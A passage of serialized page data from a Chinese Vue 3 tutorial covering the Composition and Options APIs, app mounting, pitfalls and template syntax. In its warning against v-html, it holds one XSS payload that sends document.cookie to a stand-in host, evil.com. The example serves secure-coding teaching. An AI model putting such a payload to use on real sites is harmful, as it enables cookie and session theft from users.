'vue'\n",[331,17866,17867,17869,17871,17873,17875,17877,17879],{"class":333,"line":357},[331,17868,951],{"class":616},[331,17870,2981],{"class":344},[331,17872,957],{"class":616},[331,17874,13780],{"class":501},[331,17876,966],{"class":337},[331,17878,17795],{"class":365},[331,17880,972],{"class":337},[331,17882,17883,17885,17887],{"class":333,"line":371},[331,17884,788],{"class":337},[331,17886,891],{"class":497},[331,17888,505],{"class":337},[331,17890,17891],{"class":333,"line":384},[331,17892,998],{"emptyLinePlaceholder":997},[331,17894,17895,17897,17899],{"class":333,"line":397},[331,17896,510],{"class":337},[331,17898,6012],{"class":497},[331,17900,505],{"class":337},[331,17902,17903,17905,17907,17909,17911],{"class":333,"line":418},[331,17904,537],{"class":337},[331,17906,6021],{"class":497},[331,17908,17725],{"class":337},[331,17910,6021],{"class":497},[331,17912,505],{"class":337},[331,17914,17915,17917,17919],{"class":333,"line":427},[331,17916,788],{"class":337},[331,17918,6012],{"class":497},[331,17920,505],{"class":337},[11,17922,17923,17924,2012,17926,17929,17930,17933,17934,17936],{},"除了 ",[22,17925,4648],{},[22,17927,17928],{},"\u003Ctemplate>"," 标签，",[17,17931,17932],{},"逻辑完全一样","：还是 ",[22,17935,4778],{},"、还是那个变量名。初学时网上会看到两种不同的代码风格，别慌，它们是同一个东西的两种外衣。",[53,17938,17940],{"id":17939},"组合式-api-与选项式-api","组合式 API 与选项式 API",[11,17942,17943,17944,1901,17946,1901,17949,1901,17951,17954,17955,5652,17958,17960,17961,17964],{},"Vue 2 时代只有「选项式」：把代码按 ",[22,17945,5868],{},[22,17947,17948],{},"methods",[22,17950,4781],{},[22,17952,17953],{},"mounted"," 这些选项塞进一个大对象。Vue 3 新增了「组合式」（Composition API）：在 ",[22,17956,17957],{},"setup()",[22,17959,4775],{},"）里按",[17,17962,17963],{},"功能","组织代码，一个功能的响应式数据、计算属性、副作用写在一起。",[308,17966,17968],{"className":942,"code":17967,"language":944,"meta":314,"style":314},"\u002F\u002F 选项式：同一个功能的代码被拆到三个选项里\nexport default {\n  data() { return { count: 0 } },\n  computed: { double() { return this.count * 2 } },\n  mounted() { console.log(this.count) }\n}\n\n\u002F\u002F 组合式：一个功能从头到尾连着写\nimport { ref, computed, onMounted } from 'vue'\nconst count = ref(0)\nconst double = computed(() => count.value * 2)\nonMounted(() => console.log(count.value))\n",[22,17969,17970,17975,17983,18000,18026,18044,18048,18052,18057,18068,18085,18109],{"__ignoreMap":314},[331,17971,17972],{"class":333,"line":334},[331,17973,17974],{"class":1003},"\u002F\u002F 选项式：同一个功能的代码被拆到三个选项里\n",[331,17976,17977,17979,17981],{"class":333,"line":341},[331,17978,5219],{"class":616},[331,17980,5222],{"class":616},[331,17982,1100],{"class":337},[331,17984,17985,17988,17991,17993,17996,17998],{"class":333,"line":357},[331,17986,17987],{"class":501},"  data",[331,17989,17990],{"class":337},"() { ",[331,17992,10859],{"class":616},[331,17994,17995],{"class":337}," { count: ",[331,17997,628],{"class":344},[331,17999,11912],{"class":337},[331,18001,18002,18005,18008,18010,18012,18015,18018,18021,18024],{"class":333,"line":371},[331,18003,18004],{"class":337},"  computed: { ",[331,18006,18007],{"class":501},"double",[331,18009,17990],{"class":337},[331,18011,10859],{"class":616},[331,18013,18014],{"class":344}," this",[331,18016,18017],{"class":337},".count ",[331,18019,18020],{"class":616},"*",[331,18022,18023],{"class":344}," 2",[331,18025,11912],{"class":337},[331,18027,18028,18031,18034,18036,18038,18041],{"class":333,"line":384},[331,18029,18030],{"class":501},"  mounted",[331,18032,18033],{"class":337},"() { console.",[331,18035,3533],{"class":501},[331,18037,966],{"class":337},[331,18039,18040],{"class":344},"this",[331,18042,18043],{"class":337},".count) }\n",[331,18045,18046],{"class":333,"line":397},[331,18047,459],{"class":337},[331,18049,18050],{"class":333,"line":418},[331,18051,998],{"emptyLinePlaceholder":997},[331,18053,18054],{"class":333,"line":427},[331,18055,18056],{"class":1003},"\u002F\u002F 组合式：一个功能从头到尾连着写\n",[331,18058,18059,18061,18064,18066],{"class":333,"line":439},[331,18060,4648],{"class":616},[331,18062,18063],{"class":337}," { ref, computed, onMounted } ",[331,18065,13735],{"class":616},[331,18067,17864],{"class":365},[331,18069,18070,18072,18075,18077,18079,18081,18083],{"class":333,"line":450},[331,18071,951],{"class":616},[331,18073,18074],{"class":344}," count",[331,18076,957],{"class":616},[331,18078,13780],{"class":501},[331,18080,966],{"class":337},[331,18082,628],{"class":344},[331,18084,972],{"class":337},[331,18086,18087,18089,18092,18094,18096,18098,18100,18103,18105,18107],{"class":333,"line":456},[331,18088,951],{"class":616},[331,18090,18091],{"class":344}," double",[331,18093,957],{"class":616},[331,18095,13798],{"class":501},[331,18097,1486],{"class":337},[331,18099,1489],{"class":616},[331,18101,18102],{"class":337}," count.value ",[331,18104,18020],{"class":616},[331,18106,18023],{"class":344},[331,18108,972],{"class":337},[331,18110,18111,18113,18115,18117,18120,18122],{"class":333,"line":775},[331,18112,6734],{"class":501},[331,18114,1486],{"class":337},[331,18116,1489],{"class":616},[331,18118,18119],{"class":337}," console.",[331,18121,3533],{"class":501},[331,18123,18124],{"class":337},"(count.value))\n",[11,18126,18127,18128,18131],{},"本教程以",[17,18129,18130],{},"组合式","为主线（新项目、Nuxt、官方文档示例都是它），每章末尾会给出选项式的对应写法，读懂老代码也够用。两者可以混用，但一个组件里最好只用一种。",[53,18133,18135,18136,5160,18138,18140],{"id":18134},"挂载createapp-与-mount-的关系","挂载：",[22,18137,17768],{},[22,18139,17816],{}," 的关系",[308,18142,18144],{"className":942,"code":18143,"language":944,"meta":314,"style":314},"const app = Vue.createApp(RootComponent)   \u002F\u002F 创建应用实例，此时什么都还没渲染\napp.component('MyBadge', MyBadge)          \u002F\u002F 全局注册组件\napp.directive('focus', { mounted: (el) => el.focus() })\napp.config.errorHandler = (err) => console.error(err)\napp.mount('#app')                          \u002F\u002F 到这里才真的往 DOM 里画\napp.unmount()                              \u002F\u002F 卸载（对应 DOM 被清空）\n",[22,18145,18146,18165,18184,18219,18245,18261],{"__ignoreMap":314},[331,18147,18148,18150,18153,18155,18157,18159,18162],{"class":333,"line":334},[331,18149,951],{"class":616},[331,18151,18152],{"class":344}," app",[331,18154,957],{"class":616},[331,18156,17788],{"class":337},[331,18158,17768],{"class":501},[331,18160,18161],{"class":337},"(RootComponent)   ",[331,18163,18164],{"class":1003},"\u002F\u002F 创建应用实例，此时什么都还没渲染\n",[331,18166,18167,18170,18173,18175,18178,18181],{"class":333,"line":341},[331,18168,18169],{"class":337},"app.",[331,18171,18172],{"class":501},"component",[331,18174,966],{"class":337},[331,18176,18177],{"class":365},"'MyBadge'",[331,18179,18180],{"class":337},", MyBadge)          ",[331,18182,18183],{"class":1003},"\u002F\u002F 全局注册组件\n",[331,18185,18186,18188,18191,18193,18196,18199,18201,18203,18206,18208,18210,18213,18216],{"class":333,"line":357},[331,18187,18169],{"class":337},[331,18189,18190],{"class":501},"directive",[331,18192,966],{"class":337},[331,18194,18195],{"class":365},"'focus'",[331,18197,18198],{"class":337},", { ",[331,18200,17953],{"class":501},[331,18202,6534],{"class":337},[331,18204,18205],{"class":2472},"el",[331,18207,3180],{"class":337},[331,18209,1489],{"class":616},[331,18211,18212],{"class":337}," el.",[331,18214,18215],{"class":501},"focus",[331,18217,18218],{"class":337},"() })\n",[331,18220,18221,18224,18227,18229,18231,18234,18236,18238,18240,18242],{"class":333,"line":371},[331,18222,18223],{"class":337},"app.config.",[331,18225,18226],{"class":501},"errorHandler",[331,18228,957],{"class":616},[331,18230,1147],{"class":337},[331,18232,18233],{"class":2472},"err",[331,18235,3180],{"class":337},[331,18237,1489],{"class":616},[331,18239,18119],{"class":337},[331,18241,1333],{"class":501},[331,18243,18244],{"class":337},"(err)\n",[331,18246,18247,18249,18251,18253,18255,18258],{"class":333,"line":384},[331,18248,18169],{"class":337},[331,18250,17816],{"class":501},[331,18252,966],{"class":337},[331,18254,17821],{"class":365},[331,18256,18257],{"class":337},")                          ",[331,18259,18260],{"class":1003},"\u002F\u002F 到这里才真的往 DOM 里画\n",[331,18262,18263,18265,18268,18271],{"class":333,"line":397},[331,18264,18169],{"class":337},[331,18266,18267],{"class":501},"unmount",[331,18269,18270],{"class":337},"()                              ",[331,18272,18273],{"class":1003},"\u002F\u002F 卸载（对应 DOM 被清空）\n",[11,18275,18276,18277,18279,18280,18283,18284,18287,18288,18290,18291,18294,18295,18297],{},"三个容易忽略的点：",[22,18278,17816],{}," 之前页面里的 ",[22,18281,18282],{},"{{ message }}"," 是",[17,18285,18286],{},"原样显示","的（模板还没被编译）；一个页面可以有多个互不相干的 ",[22,18289,17768],{}," 实例；",[22,18292,18293],{},"app.component"," 之类的注册必须在 ",[22,18296,17816],{}," 之前完成。",[4748,18299],{"height":18300,"src":18301,"title":18302},520,"\u002Ftutorials\u002Fvue3\u002Fdemos\u002F01-imperative-vs-declarative.html","示例 01：命令式改 DOM vs 声明式渲染",[11,18304,18305,18306,18309],{},"示例 01 左右两栏是同一个计数：左边点「+1（忘了同步）」，数据变了界面不动——这就是没有框架时的日常；右边只改数据，界面里的数字和那句 ",[22,18307,18308],{},"v-if"," 的话自己冒出来。",[53,18311,4796],{"id":4795},[11,18313,18314,268,18317,18320,18321,18324,18325,18328,18329,18331,18332,18335,18336,18338,18339,161],{},[17,18315,18316],{},"1. 挂载目标必须先存在于 DOM。",[22,18318,18319],{},"mount('#app')"," 时页面里没有 ",[22,18322,18323],{},"id=\"app\"","，Vue 直接报 ",[22,18326,18327],{},"Failed to mount app: mount target not found","。脚本放在 ",[22,18330,12624],{}," 里、或者放在容器元素之前，都会撞上。把脚本放在 ",[22,18333,18334],{},"\u003C\u002Fbody>"," 前，或给 ",[22,18337,14082],{}," 加 ",[22,18340,16189],{},[11,18342,18343,268,18346,18349,18350,4809,18353,18356,18357,17306,18360,18362],{},[17,18344,18345],{},"2. 浏览器里写 in-DOM 模板，标签名和属性名会被转成小写。",[22,18347,18348],{},"\u003CUserCard userName=\"a\">"," 在 HTML 里会被解析成 ",[22,18351,18352],{},"usercard",[22,18354,18355],{},"username","，组件找不到、props 收不到。浏览器里请写 kebab-case：",[22,18358,18359],{},"\u003Cuser-card user-name=\"a\">",[22,18361,3878],{}," 文件里没这个限制（这也是示例用模板字符串的原因）。",[11,18364,18365,18371,18372,4809,18375,18378],{},[17,18366,6665,18367,18370],{},[22,18368,18369],{},"{{ }}"," 会先在页面上闪一下。"," 因为 HTML 已经渲染、Vue 还没挂载。用 ",[22,18373,18374],{},"v-cloak",[22,18376,18377],{},"[v-cloak]{display:none}","，或者把脚本放前面。",[11,18380,18381,18392],{},[17,18382,18383,18384,18387,18388,18391],{},"4. 引入 ",[22,18385,18386],{},"vue.global.js","（开发版）和 ",[22,18389,18390],{},"vue.global.prod.js","（生产版）差别很大。"," 类型警告、性能提示只有开发版会打印；生产版为了体积把这些都剥掉了。学习阶段一律用开发版，别把「没报错」当成「没写错」。",[11,18394,18395,18401,18402,18405,18406,18409,18410,18413],{},[17,18396,18397,18398,18400],{},"5. 多个 ",[22,18399,17768],{}," 之间不共享注册。"," 在 app1 上 ",[22,18403,18404],{},"component()"," 注册过的组件，app2 里用不了，会报 ",[22,18407,18408],{},"Unknown custom element","。需要共享就用插件（",[22,18411,18412],{},"app.use()","）或干脆只有一个根应用。",[11,18415,18416,18423,18424,18426,18427,18429,18430,18432,18433,18436],{},[17,18417,7717,18418,18420,18421,161],{},[22,18419,17957],{}," 里不能用 ",[22,18422,18040],{}," 组合式在 ",[22,18425,18040],{}," 绑定之前执行；",[22,18428,4775],{}," 更是根本没有 ",[22,18431,18040],{},"。要从选项式转过来，把 ",[22,18434,18435],{},"this.xxx"," 全换成局部变量。",[53,18438,18440],{"id":18439},"附两套-api-风格对照速查","附：两套 API 风格对照速查",[57,18442,18443,18456],{},[60,18444,18445],{},[63,18446,18447,18450,18453],{},[66,18448,18449],{},"要做的事",[66,18451,18452],{},"组合式（本教程用法）",[66,18454,18455],{},"选项式（老代码里常见）",[79,18457,18458,18473,18488,18503,18518,18533,18548],{},[63,18459,18460,18463,18468],{},[84,18461,18462],{},"声明响应式数据",[84,18464,18465],{},[22,18466,18467],{},"const n = ref(0)",[84,18469,18470],{},[22,18471,18472],{},"data() { return { n: 0 } }",[63,18474,18475,18478,18483],{},[84,18476,18477],{},"计算属性",[84,18479,18480],{},[22,18481,18482],{},"const d = computed(() => n.value * 2)",[84,18484,18485],{},[22,18486,18487],{},"computed: { d() { return this.n * 2 } }",[63,18489,18490,18493,18498],{},[84,18491,18492],{},"监听",[84,18494,18495],{},[22,18496,18497],{},"watch(n, cb)",[84,18499,18500],{},[22,18501,18502],{},"watch: { n: cb }",[63,18504,18505,18508,18513],{},[84,18506,18507],{},"挂载后执行",[84,18509,18510],{},[22,18511,18512],{},"onMounted(cb)",[84,18514,18515],{},[22,18516,18517],{},"mounted() {}",[63,18519,18520,18523,18528],{},[84,18521,18522],{},"卸载前清理",[84,18524,18525],{},[22,18526,18527],{},"onBeforeUnmount(cb)",[84,18529,18530],{},[22,18531,18532],{},"beforeUnmount() {}",[63,18534,18535,18537,18543],{},[84,18536,10223],{},[84,18538,18539,18540],{},"普通函数 ",[22,18541,18542],{},"function add() {}",[84,18544,18545],{},[22,18546,18547],{},"methods: { add() {} }",[63,18549,18550,18553,18560],{},[84,18551,18552],{},"注册组件",[84,18554,18555,4839,18557,18559],{},[22,18556,16747],{},[22,18558,4775],{}," 自动可用）",[84,18561,18562],{},[22,18563,18564],{},"components: { X }",[48,18566,18568],{"id":18567},"二模板语法插值动态属性与表达式的边界","二、模板语法：插值、动态属性与表达式的边界",[11,18570,18571,18572,18574,18575,18578],{},"模板 = HTML + 两样东西：",[22,18573,18369],{}," 插值 和 ",[22,18576,18577],{},"v-xxx"," 指令。它不是「在 HTML 里写 JS」，能放的位置和能写的表达式都有边界，越界要么编译失败，要么行为和你预期相反。",[53,18580,18582,18583,18585,18586,18589],{"id":18581},"插值-是转义的v-html-不是","插值：",[22,18584,18369],{}," 是转义的，",[22,18587,18588],{},"v-html"," 不是",[308,18591,18593],{"className":5996,"code":18592,"language":5998,"meta":314,"style":314},"\u003Ctemplate>\n  \u003Cp>{{ msg }}\u003C\u002Fp>                          \u003C!-- 内容是字符串就原样显示，HTML 标签被转义 -->\n  \u003Cp v-html=\"msg\">\u003C\u002Fp>                      \u003C!-- 内容被当成 HTML 解析 -->\n  \u003Cp>{{ count + 1 }}\u003C\u002Fp>                    \u003C!-- 表达式 -->\n  \u003Cp>{{ ok ? '可用' : '禁用' }}\u003C\u002Fp>          \u003C!-- 三元 -->\n  \u003Cp>{{ list.length }}\u003C\u002Fp>                   \u003C!-- 属性访问 -->\n  \u003Cp>{{ msg.split('').reverse().join('') }}\u003C\u002Fp>  \u003C!-- 方法调用链 -->\n\u003C\u002Ftemplate>\n",[22,18594,18595,18603,18620,18643,18659,18676,18693,18710],{"__ignoreMap":314},[331,18596,18597,18599,18601],{"class":333,"line":334},[331,18598,510],{"class":337},[331,18600,6012],{"class":497},[331,18602,505],{"class":337},[331,18604,18605,18607,18609,18612,18614,18617],{"class":333,"line":341},[331,18606,537],{"class":337},[331,18608,11],{"class":497},[331,18610,18611],{"class":337},">{{ msg }}\u003C\u002F",[331,18613,11],{"class":497},[331,18615,18616],{"class":337},">                          ",[331,18618,18619],{"class":1003},"\u003C!-- 内容是字符串就原样显示，HTML 标签被转义 -->\n",[331,18621,18622,18624,18626,18629,18631,18634,18636,18638,18640],{"class":333,"line":357},[331,18623,537],{"class":337},[331,18625,11],{"class":497},[331,18627,18628],{"class":501}," v-html",[331,18630,518],{"class":337},[331,18632,18633],{"class":365},"\"msg\"",[331,18635,902],{"class":337},[331,18637,11],{"class":497},[331,18639,16254],{"class":337},[331,18641,18642],{"class":1003},"\u003C!-- 内容被当成 HTML 解析 -->\n",[331,18644,18645,18647,18649,18652,18654,18656],{"class":333,"line":371},[331,18646,537],{"class":337},[331,18648,11],{"class":497},[331,18650,18651],{"class":337},">{{ count + 1 }}\u003C\u002F",[331,18653,11],{"class":497},[331,18655,16271],{"class":337},[331,18657,18658],{"class":1003},"\u003C!-- 表达式 -->\n",[331,18660,18661,18663,18665,18668,18670,18673],{"class":333,"line":384},[331,18662,537],{"class":337},[331,18664,11],{"class":497},[331,18666,18667],{"class":337},">{{ ok ? '可用' : '禁用' }}\u003C\u002F",[331,18669,11],{"class":497},[331,18671,18672],{"class":337},">          ",[331,18674,18675],{"class":1003},"\u003C!-- 三元 -->\n",[331,18677,18678,18680,18682,18685,18687,18690],{"class":333,"line":397},[331,18679,537],{"class":337},[331,18681,11],{"class":497},[331,18683,18684],{"class":337},">{{ list.length }}\u003C\u002F",[331,18686,11],{"class":497},[331,18688,18689],{"class":337},">                   ",[331,18691,18692],{"class":1003},"\u003C!-- 属性访问 -->\n",[331,18694,18695,18697,18699,18702,18704,18707],{"class":333,"line":418},[331,18696,537],{"class":337},[331,18698,11],{"class":497},[331,18700,18701],{"class":337},">{{ msg.split('').reverse().join('') }}\u003C\u002F",[331,18703,11],{"class":497},[331,18705,18706],{"class":337},">  ",[331,18708,18709],{"class":1003},"\u003C!-- 方法调用链 -->\n",[331,18711,18712,18714,18716],{"class":333,"line":427},[331,18713,788],{"class":337},[331,18715,6012],{"class":497},[331,18717,505],{"class":337},[11,18719,18720,18721,18726,18727,18730],{},"一条铁律：",[17,18722,18723,18725],{},[22,18724,18588],{}," 永远不要用在用户输入上","。它不做转义，用户贴一段 ",[22,18728,18729],{},"\u003Cimg src=x onerror=\"fetch('\u002F\u002Fevil.com?c='+document.cookie)\">"," 就在你的页面里执行了（XSS）。要做富文本渲染，先把内容净化（DOMPurify 一类），或者只显示纯文本。",[53,18732,18734,18735,18738,18739],{"id":18733},"动态属性v-bind-与它的缩写","动态属性：",[22,18736,18737],{},"v-bind"," 与它的缩写 ",[22,18740,1180],{},[11,18742,18743,18744,18746],{},"给属性绑定值必须加 ",[22,18745,18737],{},"，否则拿到的是字符串字面量：",[308,18748,18750],{"className":5996,"code":18749,"language":5998,"meta":314,"style":314},"\u003Ca :href=\"url\">链接\u003C\u002Fa>          \u003C!-- url 变量的值 -->\n\u003Ca href=\"url\">链接\u003C\u002Fa>           \u003C!-- 字符串 \"url\"，十有八九是 bug -->\n\u003Cimg :src=\"src\" :alt=\"alt\">\n\u003Cinput :value=\"text\" :disabled=\"isLoading\">\n\u003Cdiv :id=\"domId\" :data-index=\"i\">\n",[22,18751,18752,18782,18806,18841,18846],{"__ignoreMap":314},[331,18753,18754,18756,18758,18760,18763,18765,18767,18770,18772,18775,18777,18779],{"class":333,"line":334},[331,18755,510],{"class":337},[331,18757,30],{"class":497},[331,18759,2636],{"class":337},[331,18761,18762],{"class":501},"href",[331,18764,518],{"class":337},[331,18766,6153],{"class":365},[331,18768,18769],{"class":337},"url",[331,18771,6153],{"class":365},[331,18773,18774],{"class":337},">链接\u003C\u002F",[331,18776,30],{"class":497},[331,18778,18672],{"class":337},[331,18780,18781],{"class":1003},"\u003C!-- url 变量的值 -->\n",[331,18783,18784,18786,18788,18791,18793,18796,18798,18800,18803],{"class":333,"line":341},[331,18785,510],{"class":337},[331,18787,30],{"class":497},[331,18789,18790],{"class":501}," href",[331,18792,518],{"class":337},[331,18794,18795],{"class":365},"\"url\"",[331,18797,18774],{"class":337},[331,18799,30],{"class":497},[331,18801,18802],{"class":337},">           ",[331,18804,18805],{"class":1003},"\u003C!-- 字符串 \"url\"，十有八九是 bug -->\n",[331,18807,18808,18810,18813,18815,18818,18820,18822,18824,18826,18828,18831,18833,18835,18837,18839],{"class":333,"line":357},[331,18809,510],{"class":337},[331,18811,18812],{"class":497},"img",[331,18814,2636],{"class":337},[331,18816,18817],{"class":501},"src",[331,18819,518],{"class":337},[331,18821,6153],{"class":365},[331,18823,18817],{"class":337},[331,18825,6153],{"class":365},[331,18827,2636],{"class":337},[331,18829,18830],{"class":501},"alt",[331,18832,518],{"class":337},[331,18834,6153],{"class":365},[331,18836,18830],{"class":337},[331,18838,6153],{"class":365},[331,18840,505],{"class":337},[331,18842,18843],{"class":333,"line":371},[331,18844,18845],{"class":337},"\u003Cinput :value=\"text\" :disabled=\"isLoading\">\n",[331,18847,18848],{"class":333,"line":384},[331,18849,18850],{"class":337},"\u003Cdiv :id=\"domId\" :data-index=\"i\">\n",[11,18852,18853],{},"三个细节值得记住：",[1773,18855,18856,18869,18883],{},[1662,18857,18858,16105,18861,18864,18865,18868],{},[17,18859,18860],{},"布尔属性",[22,18862,18863],{},":disabled=\"false\""," 才会真的移除该属性；写 ",[22,18866,18867],{},"disabled=\"false\""," 反而等于启用（HTML 里有这个属性就是真）。",[1662,18870,18871,18874,18875,18878,18879,18882],{},[17,18872,18873],{},"动态属性名","用方括号：",[22,18876,18877],{},":[attrName]=\"value\"","，",[22,18880,18881],{},"attrName"," 里放变量。",[1662,18884,18885,322,18888,18891,18892,18895,18896,18899],{},[17,18886,18887],{},"一次性绑多个属性",[22,18889,18890],{},"v-bind=\"{ a: 1, b: 2 }\""," 或直接 ",[22,18893,18894],{},"v-bind=\"obj\"","，组件里常用于把 ",[22,18897,18898],{},"$attrs"," 透传下去。",[53,18901,18903],{"id":18902},"能写表达式不能写语句","能写表达式，不能写语句",[11,18905,18906,18908,18909,18912,18913,272,18915,272,18918,272,18921,655,18924,18927],{},[22,18907,18369],{}," 和指令的值位置只接受",[17,18910,18911],{},"表达式","（能算出一个值的东西）。",[22,18914,11541],{},[22,18916,18917],{},"for",[22,18919,18920],{},"while",[22,18922,18923],{},"var",[22,18925,18926],{},"let"," 声明、多条语句用分号串起来，这些都不行：",[308,18929,18931],{"className":485,"code":18930,"language":487,"meta":314,"style":314},"\u003Cp>{{ if (a) { 'x' } }}\u003C\u002Fp>       ✗ 语句，编译报错\n\u003Cp>{{ a > 1 ? 'x' : 'y' }}\u003C\u002Fp>    ✓ 三元表达式\n\u003Cp>{{ list.filter(x => x.ok) }}\u003C\u002Fp>   ✓ 但要短，长了就挪进 computed\n",[22,18932,18933,18947,18961],{"__ignoreMap":314},[331,18934,18935,18937,18939,18942,18944],{"class":333,"line":334},[331,18936,510],{"class":337},[331,18938,11],{"class":497},[331,18940,18941],{"class":337},">{{ if (a) { 'x' } }}\u003C\u002F",[331,18943,11],{"class":497},[331,18945,18946],{"class":337},">       ✗ 语句，编译报错\n",[331,18948,18949,18951,18953,18956,18958],{"class":333,"line":341},[331,18950,510],{"class":337},[331,18952,11],{"class":497},[331,18954,18955],{"class":337},">{{ a > 1 ? 'x' : 'y' }}\u003C\u002F",[331,18957,11],{"class":497},[331,18959,18960],{"class":337},">    ✓ 三元表达式\n",[331,18962,18963,18965,18967,18970,18972],{"class":333,"line":357},[331,18964,510],{"class":337},[331,18966,11],{"class":497},[331,18968,18969],{"class":337},">{{ list.filter(x => x.ok) }}\u003C\u002F",[331,18971,11],{"class":497},[331,18973,18974],{"class":337},">   ✓ 但要短，长了就挪进 computed\n",[11,18976,18977,18978,18981,18982,18984],{},"判断标准很简单：",[17,18979,18980],{},"写两行以上逻辑、或者要用到别的响应式变量的中间结果，就别塞在模板里","，挪去 ",[22,18983,4781],{},"（第五章）。模板里堆长表达式，日后没人愿意读，也无法单测。",[53,18986,18987],{"id":18987},"表达式里能直接用什么",[11,18989,18990,18991,18993,18994,272,18997,272,18999,272,19001,272,19004,19007,19008,4813],{},"模板表达式在一个受限的沙箱里执行。可以直接用的有：组件自身 ",[22,18992,15084],{}," 返回的变量、",[22,18995,18996],{},"Math",[22,18998,3621],{},[22,19000,13165],{},[22,19002,19003],{},"parseInt",[22,19005,19006],{},"parseFloat"," 等一小撮全局白名单，以及全局属性（",[22,19009,19010],{},"app.config.globalProperties",[11,19012,19013,19014,272,19016,272,19019,272,19021,19023,19024,19026,19027,5652,19029,19031],{},"不能直接用的：",[22,19015,4648],{},[22,19017,19018],{},"require",[22,19020,5689],{},[22,19022,2771],{},"、你自己的工具函数。想用工具函数有两种路子——",[22,19025,4648],{}," 进来再 ",[22,19028,10859],{},[22,19030,4775],{}," 里直接 import 就可用），或者封装成全局属性\u002F组合式函数。",[308,19033,19035],{"className":5996,"code":19034,"language":5998,"meta":314,"style":314},"\u003Cscript setup>\nimport { formatDate } from '@\u002Futils\u002Fdate'   \u002F\u002F \u003Cscript setup> 里 import 完模板就能用\n\u003C\u002Fscript>\n\u003Ctemplate>\n  \u003Cspan>{{ formatDate(created) }}\u003C\u002Fspan>\n\u003C\u002Ftemplate>\n",[22,19036,19037,19047,19062,19070,19078,19091],{"__ignoreMap":314},[331,19038,19039,19041,19043,19045],{"class":333,"line":334},[331,19040,510],{"class":337},[331,19042,891],{"class":497},[331,19044,6299],{"class":501},[331,19046,505],{"class":337},[331,19048,19049,19051,19054,19056,19059],{"class":333,"line":341},[331,19050,4648],{"class":616},[331,19052,19053],{"class":337}," { formatDate } ",[331,19055,13735],{"class":616},[331,19057,19058],{"class":365}," '@\u002Futils\u002Fdate'",[331,19060,19061],{"class":1003},"   \u002F\u002F \u003Cscript setup> 里 import 完模板就能用\n",[331,19063,19064,19066,19068],{"class":333,"line":357},[331,19065,788],{"class":337},[331,19067,891],{"class":497},[331,19069,505],{"class":337},[331,19071,19072,19074,19076],{"class":333,"line":371},[331,19073,510],{"class":337},[331,19075,6012],{"class":497},[331,19077,505],{"class":337},[331,19079,19080,19082,19084,19087,19089],{"class":333,"line":384},[331,19081,537],{"class":337},[331,19083,331],{"class":497},[331,19085,19086],{"class":337},">{{ formatDate(created) }}\u003C\u002F",[331,19088,331],{"class":497},[331,19090,505],{"class":337},[331,19092,19093,19095,19097],{"class":333,"line":397},[331,19094,788],{"class":337},[331,19096,6012],{"class":497},[331,19098,505],{"class":337},[11,19100,19101,19102,19105,19106,19109,19110,19112,19113,19116],{},"Vue 2 的过滤器语法 ",[22,19103,19104],{},"{{ price | currency }}"," 在 Vue 3 里",[17,19107,19108],{},"已删除","，替代品就是 ",[22,19111,4781],{}," 或方法调用。接手老代码时全局搜 ",[22,19114,19115],{},"|"," 插值是最快的一刀。",[4748,19118],{"height":5635,"src":19119,"title":19120},"\u002Ftutorials\u002Fvue3\u002Fdemos\u002F02-template-syntax.html","示例 02：插值、v-html、动态属性与表达式边界",[53,19122,4796],{"id":5640},[11,19124,19125,19130,19131,19134,19135,161],{},[17,19126,8723,19127,19129],{},[22,19128,18369],{}," 里写了语句，整个组件白屏。"," 模板编译错误在开发版是醒目的报错，生产版可能只剩一句 ",[22,19132,19133],{},"Property or method ... is not defined","。别靠猜，看到空白先去控制台第一行找 ",[22,19136,19137],{},"error compiling template",[11,19139,19140,268,19143,19146,19147,19150],{},[17,19141,19142],{},"2. 属性大小写。",[22,19144,19145],{},":userName"," 在浏览器 in-DOM 模板里变成 ",[22,19148,19149],{},":username","，props 收不到值。模板里请统一 kebab-case。",[11,19152,19153,268,19159,19162,19163,161],{},[17,19154,19155,19156,19158],{},"3. 自闭合标签只在 ",[22,19157,3878],{}," 里合法。",[22,19160,19161],{},"\u003Cuser-card \u002F>"," 在浏览器解析的 HTML 里会被当成「开始标签没结束」，把后面的内容全吞进它的插槽。页面里写模板时老实补上 ",[22,19164,19165],{},"\u003C\u002Fuser-card>",[11,19167,19168,19173,19174,19176,19177,161],{},[17,19169,7689,19170,19172],{},[22,19171,18588],{}," 里不能用插值。"," 内容被当作 HTML 片段处理，",[22,19175,18369],{}," 不再解析——很多人在这卡半小时。要混用就拆开写：",[22,19178,19179],{},"\u003Cp>前缀 \u003Cspan v-html=\"html\">\u003C\u002Fspan>\u003C\u002Fp>",[11,19181,19182,19188,19189,655,19191,19193,19194,19196,19197,19200,19201,19203],{},[17,19183,9903,19184,19187],{},[22,19185,19186],{},":src=\"null\""," 不等于「不显示」。"," 属性值为 ",[22,19190,5858],{},[22,19192,5872],{}," 时会被移除，但 ",[22,19195,9164],{}," 会保留成 ",[22,19198,19199],{},"src=\"\"","，浏览器会按当前页面 URL 请求一次图片，控制台出现诡异的 404。要么 ",[22,19202,18308],{}," 控制渲染，要么给一个真实占位图。",[11,19205,19206,268,19209,19212,19213,19216,19217,19220,19221,19224],{},[17,19207,19208],{},"6. 数字字符串的坑。",[22,19210,19211],{},":count=\"1\""," 传的是数字，",[22,19214,19215],{},"count=\"1\""," 传的是字符串 ",[22,19218,19219],{},"\"1\"","。组件里做 ",[22,19222,19223],{},"props.count > 1"," 时后者会意外成立\u002F失败，靠 props 类型校验（第九章）把这类问题挡在开发版。",[11,19226,19227,19230,19231,19234,19235,19238],{},[17,19228,19229],{},"7. 自定义插号分隔符在 Vue 3 被移除。"," 老代码里的 ",[22,19232,19233],{},"delimiters: ['${', '}']","（为了兼容后端模板）在 Vue 3 不存在了，改用 ",[22,19236,19237],{},"v-text"," 或者转义后端标签。",[53,19240,19242],{"id":19241},"附模板语法速查","附：模板语法速查",[57,19244,19245,19258],{},[60,19246,19247],{},[63,19248,19249,19252,19255],{},[66,19250,19251],{},"想做的事",[66,19253,19254],{},"写法",[66,19256,19257],{},"备注",[79,19259,19260,19273,19286,19302,19314,19328,19340,19358,19374,19387,19402,19415,19434,19447,19460],{},[63,19261,19262,19265,19270],{},[84,19263,19264],{},"输出文本",[84,19266,19267],{},[22,19268,19269],{},"{{ msg }}",[84,19271,19272],{},"自动转义，安全",[63,19274,19275,19278,19283],{},[84,19276,19277],{},"输出 HTML",[84,19279,19280],{},[22,19281,19282],{},"v-html=\"msg\"",[84,19284,19285],{},"有 XSS 风险，别用于用户输入",[63,19287,19288,19291,19296],{},[84,19289,19290],{},"绑定属性",[84,19292,19293],{},[22,19294,19295],{},":href=\"url\"",[84,19297,19298,19301],{},[22,19299,19300],{},"v-bind:"," 